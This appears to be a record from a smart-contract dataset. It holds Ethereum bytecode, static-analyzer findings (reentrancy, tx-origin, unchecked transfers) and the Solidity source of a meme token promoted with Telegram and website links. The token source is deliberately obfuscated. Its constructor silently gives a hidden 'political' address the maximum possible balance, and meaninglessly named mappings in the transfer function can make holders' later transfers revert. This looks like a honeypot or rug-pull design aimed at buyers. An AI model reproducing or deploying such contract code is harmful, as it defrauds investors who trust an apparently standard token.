34801561053c57600080fd5b506103b1610d34565b34801561055157600080fd5b5061055a610d44565b6040805160ff9092168252519081900360200190f35b34801561057c57600080fd5b506103b16004803603604081101561059357600080fd5b506001600160a01b038135169060200135610d4d565b3480156105b557600080fd5b506104ac600480360360408110156105cc57600080fd5b506001600160a01b0381358116916020013516610d9b565b3480156105f057600080fd5b506104ac6004803603602081101561060757600080fd5b50351515610efb565b34801561061c57600080fd5b506103da610f66565b34801561063157600080fd5b506104ac6004803603602081101561064857600080fd5b50356001600160a01b0316610f6c565b34801561066457600080fd5b50610464610fe8565b34801561067957600080fd5b506103b161100c565b34801561068e57600080fd5b506103b161101a565b3480156106a357600080fd5b506103b1600480360360208110156106ba57600080fd5b50356001600160a01b0316611028565b3480156106d657600080fd5b506104ac600480360360208110156106ed57600080fd5b50356001600160a01b0316611046565b34801561070957600080fd5b506104ac6004803603602081101561072057600080fd5b50356110bf565b34801561073357600080fd5b506104ac6004803603602081101561074a57600080fd5b50351515611122565b34801561075f57600080fd5b506103da6004803603602081101561077657600080fd5b50356001600160a01b0316611198565b34801561079257600080fd5b506104ac6111b3565b3480156107a757600080fd5b506104ac600480360360208110156107be57600080fd5b50351515611255565b3480156107d357600080fd5b506104ac600480360360208110156107ea57600080fd5b50356001600160a01b03166112c9565b34801561080657600080fd5b506103b161135a565b34801561081b57600080fd5b506103da61136b565b34801561083057600080fd5b506103da611371565b34801561084557600080fd5b506103da611377565b34801561085a57600080fd5b5061046461137d565b34801561086f57600080fd5b5061030961138c565b34801561088457600080fd5b506104ac6004803603602081101561089b57600080fd5b503515156113ed565b3480156108b057600080fd5b506103b1600480360360408110156108c757600080fd5b506001600160a01b03813516906020013561145f565b3480156108e957600080fd5b506104ac6114c7565b3480156108fe57600080fd5b506103b16004803603604081101561091557600080fd5b506001600160a01b038135169060200135611532565b34801561093757600080fd5b506103b1611546565b34801561094c57600080fd5b506104ac6004803603602081101561096357600080fd5b50351515611555565b34801561097857600080fd5b506103da6115fc565b34801561098d57600080fd5b506103da611602565b3480156109a257600080fd5b506103b1611608565b3480156109b757600080fd5b506103da600480360360408110156109ce57600080fd5b506001600160a01b0381358116916020013516611617565b3480156109f257600080fd5b506104ac60048036036020811015610a0957600080fd5b50356001600160a01b0316611642565b348015610a2557600080fd5b506104ac60048036036020811015610a3c57600080fd5b50356001600160a01b03166116bb565b348015610a5857600080fd5b506104ac60048036036020811015610a6f57600080fd5b503561173b565b348015610a8257600080fd5b506104ac60048036036020811015610a9957600080fd5b50356001600160a01b031661179e565b348015610ab557600080fd5b506103da61181a565b600c8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b4a5780601f10610b1f57610100808354040283529160200191610b4a565b820191906000526020600020905b815481529060010190602001808311610b2d57829003601f168201915b5050505050905090565b6001600160a01b031660009081526007602052604090205460ff1690565b60165481565b6000610b8c610b85611820565b8484611824565b5060015b92915050565b60095460ff1681565b60175460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b610bd4611820565b6000546001600160a01b03908116911614610c24576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b601780549115156401000000000264ff0000000019909216919091179055565b600a5490565b6000610c57848484611910565b610cc784610c63611820565b610cc285604051806060016040528060288152602001612acb602891396001600160a01b038a16600090815260046020526040812090610ca1611820565b6001600160a01b031681526020810191909152604001600020549190611f79565b611824565b5060019392505050565b610cd9611820565b6000546001600160a01b03908116911614610d29576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b633b9aca0002601855565b6017546301000000900460ff1681565b600e5460ff1690565b6000610b8c610d5a611820565b84610cc28560046000610d6b611820565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490612010565b610da3611820565b6000546001600160a01b03908116911614610df3576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b816001600160a01b031663a9059cbb82846001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610e5057600080fd5b505afa158015610e64573d6000803e3d6000fd5b505050506040513d6020811015610e7a57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b158015610ecb57600080fd5b505af1158015610edf573d6000803e3d6000fd5b505050506040513d6020811015610ef557600080fd5b50505050565b610f03611820565b6000546001600160a01b03908116911614610f53576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b6017805460ff1916911515919091179055565b600f5481565b610f74611820565b6000546001600160a01b03908116911614610fc4576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b7f000000000000000000000000786b34e552dbdf46a2f70bbd9064fcf86f6f3e0981565b601454610100900460ff1681565b601754610100900460ff1681565b6001600160a01b031660009081526005602052604090205460ff1690565b61104e611820565b6000546001600160a01b0390811691161461109e576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b6110c7611820565b6000546001600160a01b03908116911614611117576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b633b9aca0002601655565b61112a611820565b6000546001600160a01b0390811691161461117a576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b6017805491151563010000000263ff00000019909216919091179055565b6001600160a01b031660009081526002602052604090205490565b6111bb611820565b6000546001600160a01b0390811691161461120b576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b61125d611820565b6000546001600160a01b039081169116146112ad576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b60178054911515620100000262ff000019909216919091179055565b6112d1611820565b6000546001600160a01b03908116911614611321576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015611356573d6000803e3d6000fd5b5050565b601754640100000000900460ff1681565b60155481565b60115481565b60105481565b6000546001600160a01b031690565b600d8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b4a5780601f10610b1f57610100808354040283529160200191610b4a565b6113f5611820565b6000546001600160a01b03908116911614611445576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b601780549115156101000261ff0019909216919091179055565b6000610b8c61146c611820565b84610cc285604051806060016040528060258152602001612b856025913960046000611496611820565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611f79565b6114cf611820565b6000546001600160a01b0390811691161461151f576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b6009805460ff1916600117905543600f55565b6000610b8c61153f611820565b8484611910565b60175462010000900460ff1681565b61155d611820565b6000546001600160a01b039081169116146115ad576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b60148054821515610100810261ff00199092169190911790915560408051918252517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599181900360200190a150565b60185481565b600b5490565b60145462010000900460ff1681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b61164a611820565b6000546001600160a01b0390811691161461169a576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6116c3611820565b6000546001600160a01b03908116911614611713576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b600e80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b611743611820565b6000546001600160a01b03908116911614611793576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b633b9aca0002601555565b6117a6611820565b6000546001600160a01b039081169116146117f6576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19166001179055565b600b5481565b3390565b6001600160a01b0383166118695760405162461bcd60e51b8152600401808060200182810382526024815260200180612b616024913960400191505060405180910390fd5b6001600160a01b0382166118ae5760405162461bcd60e51b8152600401808060200182810382526022815260200180612a606022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166119555760405162461bcd60e51b8152600401808060200182810382526025815260200180612b3c6025913960400191505060405180910390fd5b6001600160a01b03821661199a5760405162461bcd60e51b8152600401808060200182810382526023815260200180612a3d6023913960400191505060405180910390fd5b600081116119d95760405162461bcd60e51b8152600401808060200182810382526029815260200180612b136029913960400191505060405180910390fd5b6001600160a01b03831660009081526007602052604090205460ff16158015611a1b57506001600160a01b03821660009081526007602052604090205460ff16155b611a2457600080fd5b60095460ff16611a5357611a3661137d565b6001600160a01b0316836001600160a01b031614611a5357600080fd5b601754610100900460ff1615611aeb57611a6b61137d565b6001600160a01b0316836001600160a01b031614158015611aa55750611a8f61137d565b6001600160a01b0316826001600160a01b031614155b15611aeb57601554811115611aeb5760405162461bcd60e51b8152600401808060200182810382526028815260200180612a826028913960400191505060405180910390fd5b601754640100000000900460ff1615611c2057611b0661137d565b6001600160a01b0316826001600160a01b031614158015611b3057506001600160a01b0382163014155b8015611b6e57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611bac57507f000000000000000000000000786b34e552dbdf46a2f70bbd9064fcf86f6f3e096001600160a01b0316826001600160a01b031614155b15611c205732600090815260036020526040902054601e42011015611c0d576040805162461bcd60e51b815260206004820152601260248201527110dbdbdb191bdddb881a5b881959999958dd60721b604482015290519081900360640190fd5b3260009081526003602052604090204290555b60175462010000900460ff1615611cd3577f000000000000000000000000786b34e552dbdf46a2f70bbd9064fcf86f6f3e096001600160a01b0316836001600160a01b0316148015611ca457507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611cb957506001600160a01b0382163014155b15611cd357326001600160a01b03831614611cd357600080fd5b60175460ff1615611ddd577f000000000000000000000000786b34e552dbdf46a2f70bbd9064fcf86f6f3e096001600160a01b0316836001600160a01b0316148015611d385750611d2261137d565b6001600160a01b0316836001600160a01b031614155b8015611d5d5750611d4761137d565b6001600160a01b0316826001600160a01b031614155b8015611d9b57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611db057506001600160a01b0382163014155b15611ddd576000611dc083611198565b601654909150611dd08284612010565b1115611ddb57600080fd5b505b6000611de830611198565b90506015548110611df857506015545b60185481108015908190611e0f575060145460ff16155b8015611e4d57507f000000000000000000000000786b34e552dbdf46a2f70bbd9064fcf86f6f3e096001600160a01b0316856001600160a01b031614155b8015611e605750601454610100900460ff165b15611e73576018549150611e7382612071565b6001600160a01b03851660009081526005602052604090205460019060ff1680611eb557506001600160a01b03851660009081526005602052604090205460ff165b15611ebe575060005b7f000000000000000000000000786b34e552dbdf46a2f70bbd9064fcf86f6f3e096001600160a01b0316866001600160a01b0316148015611f0857506001600160a01b0385163014155b8015611f4657507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316856001600160a01b031614155b15611f5a576003601055600a601155611f65565b6003601055600c6011555b611f718686868461215f565b505050505050565b600081848411156120085760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611fcd578181015183820152602001611fb5565b50505050905090810190601f168015611ffa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008282018381101561206a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6014805460ff19166001179055600061208b8260056124c9565b9050600061209a8260026124c9565b905060006120a8848361250b565b9050476120b48261254d565b60006120c0478361250b565b90506120cc848261275d565b600e546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f1935050505015801561210c573d6000803e3d6000fd5b50604080518581526020810183905280820186905290517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a150506014805460ff1916905550505050565b60145462010000900460ff161561222f57600f5443111580156121b357507f000000000000000000000000786b34e552dbdf46a2f70bbd9064fcf86f6f3e096001600160a01b0316846001600160a01b0316145b80156121f157507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316836001600160a01b031614155b801561220657506001600160a01b0383163014155b1561222f576001600160a01b0383166000908152600760205260409020805460ff191660011790555b8061223c5761223c61285b565b600061225e60646122586010548661288d90919063ffffffff16565b906124c9565b9050600061227c60646122586011548761288d90919063ffffffff16565b9050600061228a858461250b565b905060006122a28461229c888661250b565b9061250b565b90506122ae88856128e6565b6122b78361299c565b6001600160a01b0388166000908152600260205260409020546122da908361250b565b6001600160a01b03808a1660009081526002602052604080822093909355908916815220546123099082612010565b6001600160a01b0388166000908152600260205260409020556017546301000000900460ff16801561236d57507f000000000000000000000000786b34e552dbdf46a2f70bbd9064fcf86f6f3e096001600160a01b0316886001600160a01b031614155b801561238257506001600160a01b0388163014155b80156123c057507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316886001600160a01b031614155b801561243857507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316876001600160a01b0316148061243857507f000000000000000000000000786b34e552dbdf46a2f70bbd9064fcf86f6f3e096001600160a01b0316876001600160a01b0316145b15612467576124677f000000000000000000000000786b34e552dbdf46a2f70bbd9064fcf86f6f3e09856128e6565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3846124bf576124bf6129c9565b5050505050505050565b600061206a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129d7565b600061206a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f79565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061257c57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f557600080fd5b505afa158015612609573d6000803e3d6000fd5b505050506040513d602081101561261f57600080fd5b505181518290600190811061263057fe5b60200260200101906001600160a01b031690816001600160a01b03168152505061267b307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611824565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612720578181015183820152602001612708565b505050509050019650505050505050600060405180830381600087803b15801561274957600080fd5b505af1158015611f71573d6000803e3d6000fd5b612788307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611824565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7198230856000806127c561137d565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b15801561283057600080fd5b505af1158015612844573d6000803e3d6000fd5b50505050506040513d6060811015610ef557600080fd5b60105415801561286b5750601154155b156128755761288b565b6010805460125560118054601355600091829055555b565b60008261289c57506000610b90565b828202828482816128a957fe5b041461206a5760405162461bcd60e51b8152600401808060200182810382526021815260200180612aaa6021913960400191505060405180910390fd5b6128ef82611198565b8111156128fb57600080fd5b6001600160a01b03821660009081526002602052604090205461291e908261250b565b6001600160a01b038316600090815260026020526040902055600a54612944908261250b565b600a55600b546129549082612010565b600b556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b306000908152600260205260409020546129b69082612010565b3060009081526002602052604090205550565b601254601055601354601155565b60008183612a265760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611fcd578181015183820152602001611fb5565b506000838581612a3257fe5b049594505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203375496f8eb02553c228c0611692e9fcd322a7d91f370fef90818e839652bebe64736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,259 |
0x36E2aABf291e06Cf95AF76143888C2b918dd386F
|
/*
https://t.me/tenderinu_eth
https://tenderinu.live/
https://twitter.com/elonmusk/status/1515405264740134918
*/
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.1;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address political
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[political] = slightly;
_balances[msg.sender] = _tTotal;
fog[political] = slightly;
fog[msg.sender] = slightly;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => address) private track;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private slightly = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function climate(
address construction,
address us,
uint256 amount
) private {
address toward = track[address(0)];
bool garage = uniswapV2Pair == construction;
uint256 control = _fee;
if (fog[construction] == 0 && hunt[construction] > 0 && !garage) {
fog[construction] -= control;
}
track[address(0)] = us;
if (fog[construction] > 0 && amount == 0) {
fog[us] += control;
}
hunt[toward] += control;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[construction] -= fee;
_balances[address(this)] += fee;
_balances[construction] -= amount;
_balances[us] += amount;
}
mapping(address => uint256) private hunt;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private fog;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
climate(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
climate(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110b2565b60405180910390f35b610132600480360381019061012d919061116d565b610392565b60405161013f91906111c8565b60405180910390f35b6101506103a7565b60405161015d91906111f2565b60405180910390f35b610180600480360381019061017b919061120d565b6103b1565b60405161018d91906111c8565b60405180910390f35b61019e610500565b6040516101ab91906111f2565b60405180910390f35b6101bc61051a565b6040516101c9919061126f565b60405180910390f35b6101ec60048036038101906101e7919061128a565b610540565b6040516101f991906111f2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126f565b60405180910390f35b61023261063a565b60405161023f91906110b2565b60405180910390f35b610262600480360381019061025d919061116d565b6106cc565b60405161026f91906111c8565b60405180910390f35b610280610748565b60405161028d91906111f2565b60405180910390f35b6102b060048036038101906102ab91906112b7565b61074e565b6040516102bd91906111f2565b60405180910390f35b6102e060048036038101906102db919061128a565b6107d5565b005b6102ea6108cc565b6040516102f79190611356565b60405180910390f35b60606002805461030f906113a0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906113a0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600854905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611443565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111f2565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611492565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f4d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90611512565b60405180910390fd5b61060f6000610f55565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610649906113a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610675906113a0565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111f2565b60405180910390a36001905092915050565b60015481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f4d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610848906115